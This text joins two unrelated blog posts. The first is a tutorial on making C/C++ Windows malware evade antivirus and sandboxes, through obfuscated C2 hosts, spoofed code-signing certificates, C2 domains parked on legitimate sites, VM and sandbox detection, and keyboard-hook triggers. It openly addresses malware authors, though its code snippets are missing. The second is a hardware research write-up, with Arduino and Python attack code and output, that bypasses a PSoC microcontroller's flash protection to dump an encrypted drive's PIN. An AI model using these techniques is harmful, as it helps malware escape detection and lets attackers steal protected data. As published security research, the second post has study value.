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Malware on Steroids Part 3: Machine Learning & Sandbox Evasion

 

( Original text by Paranoid Ninja )

It’s been a busy month for me and I was not able to save time to write the final part of the series on Malware Development. But I am receiving too many DMs on Twitter accounts lately to publish the final part. So here we are.

If you are reading this blog, I am basically assuming that you know C/C++ and Windows API by now. If you don’t, then you should go back and read my other blogs on Static AV Evasion and Malware Development using WINAPI (basics).

In this post, we will be using multiple ways to evade endpoint detection mechanisms and sandboxes. Machine Learning is applied at two major levels in most organization. One is at the network level where it tries to identify anomalies based on the behavior of network connections, proxy logs and pattern of connections over time. Most Network ML Solutions tend to analyze beacons of malwares and DPI (deep packet inspection) to identify the malware. This is something that Microsoft ATA (Advanced Threat Analytics), or FireEye sandboxes do. On the other hand, we have Endpoint agents like Symantec EP, Crowdstrike, Endgame, Microsoft Cloud Defender and similar monitoring tools which perform behavioral analysis of the code along with signature detection to detect malicious processes.

I will purely be focusing on multiple ways where we can make our malware behave like a legitimate executable or try to confuse the Endpoint agent to evade detection. I’ve used the methods mentioned in this blog to successfully evade Crowdstrike Agent, Symantec EP and Microsoft Windows Cloud Defender, the videos of the latter which I have already posted in my previous blogs. However, you might need to modify or add new techniques as this might become detectable over time. One of the best ways to avoid AV is to disable the Process creation altogether and just use WINAPI. But that would mean carefully crafting your payloads and it would be difficult to port them for shellcoding. That’s the main reason malware authors write their malwares in C, and only selected payloads in shellcode. A combination of these two makes malwares unbeatable on all fronts.

Each of the techniques mentioned below creates a unique signature which most AVs won’t have. It’s more of a trail and error to check which AVs detect which techniques. Also remember that we can use stubs and packers for encryption, but that’s for a different blog post that I will do later.

P.S.: This blog is exclusive of shellcodes, reason being I will be writing a separate blog series on windows Shellcoding later. I will be using encrypted functions during the shellcoding part and not in this post. This post is specifically how Malware authors use C to perform evasions. You can also use the same APIs and code snippets mentioned below to craft a custom malware for Red Teaming.

main():

So, before we start let’s try to get a based understanding of how Machine learning works. Machine learning is purely focused on the behaviour of the user (in case of endpoints). In short, if we sign our malware and try to make it act like a legitimate executable, it becomes really easy to evade ML. I’ve seen people using PowerShell to write reverse shells, but they get easy detectable due to Microsoft’s AMSI (Anti-Malware Scan Interface) which consistently keeps on checking (including and mainly PowerShell) to detect malicious process executions and connections.  For those of you who don’t know, Microsoft uses DMTK(Microsoft Distributed Machine Learning Toolkit) framework which is basically a decision tree based algorithm which specifies whether a file is malicious or not. PowerShell is very tightly controlled by Microsoft and it gets harder over time to evade ML when using PowerShell.

This is the reason I decided to switch to C and C++ to get reverse shells over network so that I could have flexibility at a lower level to do whatever I want. We will be using a lot of windows APIs, encrypted variables and a lot of decision tree of our own to evade ML. This it supposed to work till Microsoft doesn’t start using CNTK framework which is a much better framework than DMTK, but harder to apply at the same time.

Encrypted Host & Process Names

So, the first thing to do is to encrypt our hostname. We can possibly use something as simple as XOR, or any custom complicated mathematical equation to decrypt our encrypted variable to get the hostname. I created a python script which takes a hostname and a character and returns a Xor’d Array:

As you can see, it gives the Key value in integer of the Xor Key, the length of the encrypted array and the whole Encrypted array which we can simply use in a C integer or char array.

The next step is to decrypt this array at runtime and we need to hardcode the key inside the executable. This is the only key that we would be hardcoding into the code. Also, to make it complicated for the reverse engineer, we will write a C function to automatically detect that the last integer is the key and use that to loop through the array to decrypt the encrypted string. Below is how it would look like

So, we are creating a char buffer of the size of EncryptedHost on heap. We are then passing the host, length and decrypted host variable to the Decrypter function. Below is how the Decrypter function looks:

To explain in short, it creates an Encrypted Integer array of our char array  and xors them back again using the key to convert the encrypted value to the original value and stores them in the DecryptedData array we created previously. With the help of this, if someone runs strings, they wouldn’t be able to see any host in the executable. They would need to understand the math and set a proper breakpoint in Debugger to fetch the C2 host. You can create more complicated mathematical equations to decrypt host if required. We can now use this DecryptedData array within our sockets to connect to the remote host.

P.S.: Reverse Engineers & Sandboxes can fetch the C2 names with the help of packet captures and DNS Name Resolutions. It is better to send raw packets to multiple hosts to confuse which one is the real C2 server. But at the same time, this can lead to easy  detection of the malware. Check my Legitimate Domain Routing technique below which is much better than using this.

If you’ve read my previous post, then you know that I created a cmd.exe process using the CreateProcessW winAPI. We can do what we did above for Creating Processes as well. But instead of hardcoding the Encrypted array for the Process to be executed, we will send the process name as an array over network once the executable connects to the C2 Server along with the host. We can also use authentication on C2 server, and only allow it to connect if it sends a proper key. Below is the Code for Creating Processes using Encrypted Char array over sockets

In this way, when a system sandboxes our executable, it won’t know that what process are we executing beforehand inside a sandbox. Below is a much clearer description of what we are doing:

  1. Decrypt C2 host at runtime and connect to host
  2. Receive password and verify if it is right
  3. If the key is right, wait for 5 seconds to receive encrypted array(process name) over socket
  4. Decrypt the received Process and run it using CreateProcessW API

With the help of the above technique, if our C2 is down, then the sandbox/analyst will not be able to find what we are executing since we have not hardcoded any processes to execute.

Code Signing with Spoofed Certs

I wrote a Script in python which can fetch and create duplicate certificates from any website which we can use for code signing. One thing I noticed is that Antiviruses don’t check and verify the whole chain of the certificate. They don’t even verify the authenticity. The main reason being not every antivirus can connect to internet in every organization to fetch and verify the ceritificates for every third party application installed. You can find the Certificate spoofing python script on my GitHub profile here.

And this is the scan results of Windows ML Defender after Signing:

Next thing is we will try to add a few features to our malware to detect if we are running in a sandbox or inside a virtual machine. We will try to evade Sandboxes as much as possible and kill our executable as soon as we find anything suspicious. We need to make sure that our malware doesn’t even look suspicious. Because if it does, then the sandbox will quarantine it and send an alert that there is a suspicious process running. This is worse than detection because this is where most SOC detects the malware and the Red Teaming gets detected.

Legitimate Domain Routing (Evade Proxy Categorization Detection and Endpoint Detection)

This is one of the best techniques I’ve found out till date which almost works every time. Let’s say I buy a C2 domain named abc.com. I will modify the A records so that it points to Microsoft.com or some similar legitimate site for a month or so. When the malware executes on the vicim’s system, it will connect to this domain which will send a normal HTTP reply from Microsoft and the malware will go to sleep for a few hours and then loop into doing the same thing. Now whenever I want to get a reverse shell of my malware, I will simply change the A records of abc.com to my C2 hosting server and it will send a key in HTTP to the malware which will trigger it to fetch shellcode or send a shell back to my C2. This way, our abc.com will also get categorized as a legitimate domain instead of malicious or phishing site. And even the Endpoint systems will not block it since it is contacting a legitimate domain. Over time I’ve also used Symantec’s website to connect as a temporary domain, later changing it to my malicious C2 server.

Check System Uptime & Idletime (Evades Virtual Machine Sandboxes)

If our executable is running in a virtual machine, the uptime will be pretty short since it will boot up, perform analysis on our binary and then shutdown. So, we can check the uptime of the machine and sleep till it reaches 20-30 minutes and then run it. Make sure to use NTP to check the time with external domain, else Sandboxes can fast-forward system time for process executions. Checking via NTP will make sure that correct time is checked. Below is the code to check uptime of a system and also idle time in case required.

Idletime:

Uptime:

Check Mac Address of Virtual Machine (Known OUIs)

Vmware, Virtual box, MS Hyper-v and a lot of virtual machine providers use a fixed MAC Unique identifier which can be used to run in a loop to check if current mac address matches to any of those mentioned in the list. If it is, then it is highly possible that the malware is running in a virtual environment, mostly for the purpose of sandboxing and reverse engineering. Below are the OUIs that I know for the moment. If there are more, do let me know in the comments.

Company and Products MAC unique identifier (s)
VMware ESX 3, Server, Workstation, Player 00-50-56, 00-0C-29, 00-05-69
Microsoft Hyper-V, Virtual Server, Virtual PC 00-03-FF
Parallels Desktop, Workstation, Server, Virtuozzo 00-1C-42
Virtual Iron 4 00-0F-4B
Red Hat Xen 00-16-3E
Oracle VM 00-16-3E
XenSource 00-16-3E
Novell Xen 00-16-3E
Sun xVM VirtualBox 08-00-27

Below is the C code to detect mac address of a Windows machine:

Execute shellcode when a specific key is pressed. (Sleep & hook method)

Here, we are only executing our shellcode/malicious process when the user presses a specific key. For this, we can hook the keyboard and create a list of multiple keys that specify what kind of shellcode needs to be executed. This is basically polymorphism. Every time a different shellcode depending on the key will confuse the Antivirus, and secondly in a sandbox, no one presses any key. So, our malware won’t execute in a sandbox. Below is the Code to hook the keyboard and check the key pressed.

P.S.: Below code can also be used for Keylogging 😉

Check number of files in Temp and Recent Files

Whenever a malware is running in a sandbox, the sandbox will have the minimum number of recent files in the virtual machine reason being sandboxes are not used for usual work. So, we can run a loop to check the number of recent files and also files in temp directory to check if we are running in a virtual machine. If the number of recent files are less than 10-15, just sleep or suspend itself. Below is a code I wrote which loops to check all files and folders in a directory:

Now I can keep on going like this, but the blog will just get lengthier with this. Besides, below are a few things you can code to check if we are running in a sandbox:

  1. Check if the hard disk size is greater than 60 GB (Default Virtual Machine Sandbox Size is <100GB)
  2. Check if Packet Capture Driver is installed in the registry (To check if Wireshark or similar is running for packet analysis)
  3. Check if Virtual Box additions/extension pack is installed
  4. WannaCry DNS Sinkhole Method

This is another method which WannaCry used. So basically, the malware will try to connect to a domain that doesn’t exist. If it does, it means the malware is running in a sandbox, since Sandboxes will reply to a NX Domain too to check if that’s a C2 Server. If we get a NX domain in reply, then we can directly connect to the C2 host. BEWARE, that DNS Sinkholes can prevent your malware from executing at all. Instead you can buy a certain domain and check for a customized response to check if you are running in a sandbox environment.

Now, there are much more different ways to evade ML and AV detection and they aren’t really that hard. Evading ML based AVs are not rocket science as people say. It’s just that it requires more of free time to sit and understand how the underlying architecture works and find flaws to evade it.

It’s much better to invest in a highly technical Threat Hunter for detecting suspicious behaviors in your environment’s and logs rather than buying a high-end Sandbox or Antivirus Solution, though the latter is also useful in it’s own sense too.

 

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Aigo Chinese encrypted HDD − Part 2: Dumping the Cypress PSoC 1

Original post by Raphaël Rigo on syscall.eu ( under CC-BY-SA 4.0 )

TL;DR

I dumped a Cypress PSoC 1 (CY8C21434) flash memory, bypassing the protection, by doing a cold-boot stepping attack, after reversing the undocumented details of the in-system serial programming protocol (ISSP).

It allows me to dump the PIN of the hard-drive from part 1 directly:

$ ./psoc.py 
syncing:  KO  OK
[...]
PIN:  1 2 3 4 5 6 7 8 9

Code:

Introduction

So, as we have seen in part 1, the Cypress PSoC 1 CY8C21434 microcontroller seems like a good target, as it may contain the PIN itself. And anyway, I could not find any public attack code, so I wanted to take a look at it.

Our goal is to read its internal flash memory and so, the steps we have to cover here are to:

  • manage to “talk” to the microcontroller
  • find a way to check if it is protected against external reads (most probably)
  • find a way to bypass the protection

There are 2 places where we can look for the valid PIN:

  • the internal flash memory
  • the SRAM, where it may be stored to compare it to the PIN entered by the user

ISSP Protocol

ISSP ??

“Talking” to a micro-controller can imply different things from vendor to vendor but most of them implement a way to interact using a serial protocol (ICSP for Microchip’s PIC for example).

Cypress’ own proprietary protocol is called ISSP for “in-system serial programming protocol”, and is (partially) described in its documentation. US Patent US7185162 also gives some information.

There is also an open source implemention called HSSP, which we will use later.

ISSP basically works like this:

  • reset the µC
  • output a magic number to the serial data pin of the µC to enter external programming mode
  • send commands, which are actually long strings of bits called “vectors”

The ISSP documentation only defines a handful of such vectors:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (3V and 5V variants)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111 where dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1 where DDDDDDDD = data out, aaaaaa = address (6 bits)
  • WRITE-BYTE: 10010aaaaaadddddddd111 where dddddddd = data in, aaaaaa = address (6 bits)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1 where DDDDDDDDDDDDDDDD = Device Checksum data out
  • ERASE BLOCK

For example, the vector for Initialize-2 is:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Each vector is 22 bits long and seem to follow some pattern. Thankfully, the HSSP doc gives us a big hint: “ISSP vector is nothing but a sequence of bits representing a set of instructions.”

Demystifying the vectors

Now, of course, we want to understand what’s going on here. At first, I thought the vectors could be raw M8C instructions, but the opcodes did not match.

Then I just googled the first vector and found this research by Ahmed Ismail which, while it does not go into much details, gives a few hints to get started: “Each instruction starts with 3 bits that select 1 out of 4 mnemonics (read RAM location, write RAM location, read register, or write register.) This is followed by the 8-bit address, then the 8-bit data read or written, and finally 3 stop bits.”

Then, reading the Techical reference manual’s section on the Supervisory ROM (SROM) is very useful. The SROM is hardcoded (ROM) in the PSoC and provides functions (like syscalls) for code running in “userland”:

  • 00h : SWBootReset
  • 01h : ReadBlock
  • 02h : WriteBlock
  • 03h : EraseBlock
  • 06h : TableRead
  • 07h : CheckSum
  • 08h : Calibrate0
  • 09h : Calibrate1

By comparing the vector names with the SROM functions, we can match the various operations supported by the protocol with the expected SROM parameters.

This gives us a decoding of the first 3 bits :

  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

But to fully understand what is going on, it is better to be able to interact with the µC.

Talking to the PSoC

As Dirk Petrautzki already ported Cypress’ HSSP code on Arduino, I used an Arduino Uno to connect to the ISSP header of the keyboard PCB.

Note that over the course of my research, I modified Dirk’s code quite a lot, you can find my fork on GitHub: here, and the corresponding Python script to interact with the Arduino in my cypress_psoc_tools repository.

So, using the Arduino, I first used only the “official” vectors to interact, and in order to try to read the internal ROM using the VERIFY command. Which failed, as expected, most probably because of the flash protection bits.

I then built my own simple vectors to read/write memory/registers.

Note that we can read the whole SRAM, even though the flash is protected !

Identifying internal registers

After looking at the vector’s “disassembly”, I realized that some undocumented registers (0xF8-0xFA) were used to specify M8C opcodes to execute directly !

This allowed me to run various opcodes such as ADD, MOV A,X, PUSH or JMP, which, by looking at the side effects on all the registers, allowed me to identify which undocumented registers actually are the “usual” ones (A, X, SP and PC).

In the end, the vector’s “dissassembly” generated by HSSP_disas.rb looks like this, with comments added for clarity:

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00      # reset flags
[DE C0 1C] wrreg SP (f6), 0x00         # reset SP
[9F 07 5C] wrmem KEY1, 0x3A            # Mandatory arg for SSC
[9F 20 7C] wrmem KEY2, 0x03            # same
[DE A0 1C] wrreg PCh (f5), 0x00        # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03        # (LSB) ... to 3 ??
[9F 70 1C] wrmem POINTER, 0x80         # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30       # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40       # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01         # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06          # "Syscall" number : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00       # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12   # Undocumented op: execute external opcodes

Security bits

At this point, I am able to interact with the PSoC, but I need reliable information about the protection bits of the flash. I was really surprised that Cypress did not give any mean to the users to check the protection’s status. So, I dug a bit more on Google to finally realize that the HSSP code provided by Cypress was updated after Dirk’s fork.

And lo ! The following new vector appears:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00           # Unknown args
[9F E0 1C] wrmem 0xFF, 0x00           # same
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10         # Undocumented syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

By using this vector (see read_security_data in psoc.py), we get all the protection bits in SRAM at 0x80, with 2 bits per block.

The result is depressing: everything is protected in “Disable external read and write” mode ; so we cannot even write to the flash to insert a ROM dumper. The only way to reset the protection is to erase the whole chip 🙁

First (failed) attack: ROMX

However, we can try a trick: since we can execute arbitrary opcodes, why not execute ROMX, which is used to read the flash ?

The reasoning here is that the SROM ReadBlock function used by the programming vectors will verify if it is called from ISSP. However, the ROMX opcode probably has no such check.

So, in Python (after adding a few helpers in the Arduino C code):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)        # A = 0
    write_reg(0xF3, i&0xFF)      # X = 0
    exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP
    byte = read_reg(0xF0)        # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0])  # print ROM byte

Unfortunately, it does not work 🙁 Or rather, it works, but we get our own opcodes (0x28 0x30 0x40) back ! I do not think it was intended as a protection, but rather as an engineering trick: when executing external opcodes, the ROM bus is rewired to a temporary buffer.

Second attack: cold boot stepping

Since ROMX did not work, I thought about using a variation of the trick described in section 3.1 of Johannes Obermaier and Stefan Tatschner’s paper: Shedding too much Light on a Microcontroller’s Firmware Protection.

Implementation

The ISSP manual give us the following CHECKSUM-SETUP vector:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Which is just a call to SROM function 0x07, documented as follows (emphasis mine):

The Checksum function calculates a 16-bit checksum over a user specifiable number of blocks, within a single Flash bank starting at block zero. The BLOCKID parameter is used to pass in the number of blocks to checksum. A BLOCKID value of ‘1’ will calculate the checksum of only block 0, while a BLOCKID value of ‘0’ will calculate the checksum of 256 blocks in the bank. The 16-bit checksum is returned in KEY1 and KEY2. The parameter KEY1 holds the lower 8 bits of the checksum and the parameter KEY2 holds the upper 8 bits of the checksum. For devices with multiple Flash banks, the checksum func- tion must be called once for each Flash bank. The SROM Checksum function will operate on the Flash bank indicated by the Bank bit in the FLS_PR1 register.

Note that it is an actual checksum: bytes are summed one by one, no fancy CRC here. Also, considering the extremely limited register set of the M8C core, I suspected that the checksum would be directly stored in RAM, most probably in its final location: KEY1 (0xF8) / KEY2 (0xF9).

So the final attack is, in theory:

  1. Connect using ISSP
  2. Start a checksum computation using the CHECKSUM-SETUP vector
  3. Reset the CPU after some time T
  4. Read the RAM to get the current checksum C
  5. Repeat 3. and 4., increasing T a little each time
  6. Recover the flash content by substracting consecutive checkums C

However, we have a problem: the Initialize-1 vector, which we have to send after reset, overwrites KEY1 and KEY:

1100101000000000000000                 # Magic to put the PSoC in prog mode
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A            # Checksum overwritten here
[9F 20 7C] wrmem KEY2, 0x03            # and here
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09          # SROM function 9
[DF 00 1C] wrreg opc0 (f8), 0x00       # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

But this code, overwriting our precious checksum, is just calling Calibrate1 (SROM function 9)… Maybe we can just send the magic to enter prog mode and then read the SRAM ?

And yes, it works !

The Arduino code implementing the attack is quite simple:

    case Cmnd_STK_START_CSUM:
      checksum_delay = ((uint32_t)getch())<<24;
      checksum_delay |= ((uint32_t)getch())<<16;
      checksum_delay |= ((uint32_t)getch())<<8;
      checksum_delay |= getch();
      if(checksum_delay > 10000) {
         ms_delay = checksum_delay/1000;
         checksum_delay = checksum_delay%1000;
      }
      else {
         ms_delay = 0;
      }
      send_checksum_v();
      if(checksum_delay)
          delayMicroseconds(checksum_delay);
      delay(ms_delay);
      start_pmode();
  1. It reads the checkum_delay
  2. Starts computing the checkum (send_checksum_v)
  3. Waits for the appropriate amount of time, with some caveats:
    • I lost some time here until I realized delayMicroseconds is precise only up to 16383µs)
    • and then again because delayMicroseconds(0) is totally wrong !
  4. Resets the PSoC to prog mode (without sending the initialization vectors, just the magic)

The final Python code is:

for delay in range(0, 150000):                          # delay in microseconds
    for i in range(0, 10):                              # number of reads for each delay
        try:
            reset_psoc(quiet=True)                      # reset and enter prog mode
            send_vectors()                              # send init vectors
            ser.write("\x85"+struct.pack(">I", delay))  # do checksum + reset after delay
            res = ser.read(1)                           # read arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5)  # open serial port
            continue
        print "%05d %02X %02X %02X" % (delay,           # read RAM bytes
                                       read_regb(0xf1),
                                       read_ramb(0xf8),
                                       read_ramb(0xf9))

What it does is simple:

  1. Reset the PSoC (and send the magic)
  2. Send the full initialization vectors
  3. Call the Cmnd_STK_START_CSUM (0x85) function on the Arduino, with a delay argument in microseconds.
  4. Reads the checksum (0xF8 and 0xF9) and the 0xF1 undocumented registers

This, 10 times per 1 microsecond step.

0xF1 is included as it was the only register that seemed to change while computing the checksum. It could be some temporary register used by the ALU ?

Note the ugly hack I use to reset the Arduino using picocom, when it stops responding (I have no idea why).

Reading the results

The output of the Python script looks like this (simplified for readability):

DELAY F1 F8 F9  # F1 is the unknown reg
                # F8 is the checksum LSB
                # F9 is the checksum MSB

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # Checksum is reset to 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # First byte is 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00  # 2nd byte is 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # I have no idea what's going on here
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # E7 is back ?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Oh ! Carry is propagated to MSB
00063 01 17 01
[...]
00075 CC 17 01  # So 0x117-0xE7: 0x30

We however have the the problem that since we have a real check sum, a null byte will not change the value, so we cannot only look for changes in the checksum. But, since the full (8192 bytes) computation runs in 0.1478s, which translates to about 18.04µs per byte, we can use this timing to sample the value of the checksum at the right points in time.

Of course at the beginning, everything is “easy” to read as the variation in execution time is negligible. But the end of the dump is less precise as the variability of each run increases:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Hence the 10 dumps for each µs of delay. The total running time to dump the 8192 bytes of flash was about 48h.

Reconstructing the flash image

I have not yet written the code to fully recover the flash, taking into account all the timing problems. However, I did recover the beginning. To make sure it was correct, I disassembled it with m8cdis:

0000: 80 67     jmp   0068h         ; Reset vector
[...]
0068: 71 10     or    F,010h
006a: 62 e3 87  mov   reg[VLT_CR],087h
006d: 70 ef     and   F,0efh
006f: 41 fe fb  and   reg[CPU_SCR1],0fbh
0072: 50 80     mov   A,080h
0074: 4e        swap  A,SP
0075: 55 fa 01  mov   [0fah],001h
0078: 4f        mov   X,SP
0079: 5b        mov   A,X
007a: 01 03     add   A,003h
007c: 53 f9     mov   [0f9h],A
007e: 55 f8 3a  mov   [0f8h],03ah
0081: 50 06     mov   A,006h
0083: 00        ssc
[...]
0122: 18        pop   A
0123: 71 10     or    F,010h
0125: 43 e3 10  or    reg[VLT_CR],010h
0128: 70 00     and   F,000h ; Paging mode changed from 3 to 0
012a: ef 62     jacc  008dh
012c: e0 00     jacc  012dh
012e: 71 10     or    F,010h
0130: 62 e0 02  mov   reg[OSC_CR0],002h
0133: 70 ef     and   F,0efh
0135: 62 e2 00  mov   reg[INT_VC],000h
0138: 7c 19 30  lcall 1930h
013b: 8f ff     jmp   013bh
013d: 50 08     mov   A,008h
013f: 7f        ret

It looks good !

Locating the PIN address

Now that we can read the checksum at arbitrary points in time, we can check easily if and where it changes after:

  • entering a wrong PIN
  • changing the PIN

First, to locate the approximate location, I dumped the checksum in steps for 10ms after reset. Then I entered a wrong PIN and did the same.

The results were not very nice as there’s a lot of variation, but it appeared that the checksum changes between 120000µs and 140000µs of delay. Which was actually completely false and an artefact of delayMicrosecondsdoing non-sense when called with 0.

Then, after losing about 3 hours, I remembered that the SROM’s CheckSum syscall has an argument that allows to specify the number of blocks to checksum ! So we can easily locate the PIN and “bad PIN” counter down to a 64-byte block.

My initial runs gave:

No bad PIN          |   14 tries remaining  |   13 tries remaining
                    |                       |
block 125 : 0x47E2  |   block 125 : 0x47E2  |   block 125 : 0x47E2
block 126 : 0x6385  |   block 126 : 0x634F  |   block 126 : 0x6324
block 127 : 0x6385  |   block 127 : 0x634F  |   block 127 : 0x6324
block 128 : 0x82BC  |   block 128 : 0x8286  |   block 128 : 0x825B

Then I changed the PIN from “123456” to “1234567”, and I got:

No bad try            14 tries remaining
block 125 : 0x47E2    block 125 : 0x47E2
block 126 : 0x63BE    block 126 : 0x6355
block 127 : 0x63BE    block 127 : 0x6355
block 128 : 0x82F5    block 128 : 0x828C

So both the PIN and “bad PIN” counter seem to be stored in block 126.

Dumping block 126

Block 126 should be about 125x64x18 = 144000µs after the start of the checksum. So make sure, I looked for checksum 0x47E2 in my full dump, and it looked more or less correct.

Then, after dumping lots of imprecise (because of timing) data, manually fixing the results and comparing flash values (by staring at them), I finally got the following bytes at delay 145527µs:

PIN          Flash content
1234567      2526272021222319141402
123456       2526272021221919141402
998877       2d2d2c2c23231914141402
0987654      242d2c2322212019141402
123456789    252627202122232c2d1902

It is quite obvious that the PIN is stored directly in plaintext ! The values are not ASCII or raw values but probably reflect the readings from the capacitive keyboard.

Finally, I did some other tests to find where the “bad PIN” counter is, and found this :

Delay  CSUM
145996 56E5 (old: 56E2, val: 03)
146020 571B (old: 56E5, val: 36)
146045 5759 (old: 571B, val: 3E)
146061 57F2 (old: 5759, val: 99)
146083 58F1 (old: 57F2, val: FF) <<---- here
146100 58F2 (old: 58F1, val: 01)

0xFF means “15 tries” and it gets decremented with each bad PIN entered.

Recovering the PIN

Putting everything together, my ugly code for recovering the PIN is:

def dump_pin():
    pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
               0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
    last_csum = 0
    pin_bytes = []
    for delay in range(145495, 145719, 16):
        csum = csum_at(delay, 1)
        byte = (csum-last_csum)&0xFF
        print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
        pin_bytes.append(byte)
        last_csum = csum
    print "PIN: ",
    for i in range(0, len(pin_bytes)):
        if pin_bytes[i] in pin_map:
            print pin_map[pin_bytes[i]],
    print

Which outputs:

$ ./psoc.py 
syncing:  KO  OK
Resetting PSoC:  KO  Resetting PSoC:  KO  Resetting PSoC:  OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN:  1 2 3 4 5 6 7 8 9

Great success !

Note that the delay values I used are probably valid only on the specific PSoC I have.

What’s next ?

So, to sum up on the PSoC side in the context of our Aigo HDD:

  • we can read the SRAM even when it’s protected (by design)
  • we can bypass the flash read protection by doing a cold-boot stepping attack and read the PIN directly

However, the attack is a bit painful to mount because of timing issues. We could improve it by:

  • writing a tool to correctly decode the cold-boot attack output
  • using a FPGA for more precise timings (or use Arduino hardware timers)
  • trying another attack: “enter wrong PIN, reset and dump RAM”, hopefully the good PIN will be stored in RAM for comparison. However, it is not easily doable on Arduino, as it outputs 5V while the board runs on 3.3V.

One very cool thing to try would be to use voltage glitching to bypass the read protection. If it can be made to work, it would give us absolutely accurate reads of the flash, instead of having to rely on checksum readings with poor timings.

As the SROM probably reads the flash protection bits in the ReadBlock “syscall”, we can maybe do the same as in described on Dmitry Nedospasov’s blog, a reimplementation of Chris Gerlinsky’s attack presented at REcon Brussels 2017.

One other fun thing would also be to decap the chip and image it to dump the SROM, uncovering undocumented syscalls and maybe vulnerabilities ?

Conclusion

To conclude, the drive’s security is broken, as it relies on a normal (not hardened) micro-controller to store the PIN… and I have not (yet) checked the data encryption part !

What should Aigo have done ? After reviewing a few encrypted HDD models, I did a presentation at SyScan in 2015 which highlights the challenges in designing a secure and usable encrypted external drive and gives a few options to do something better 🙂

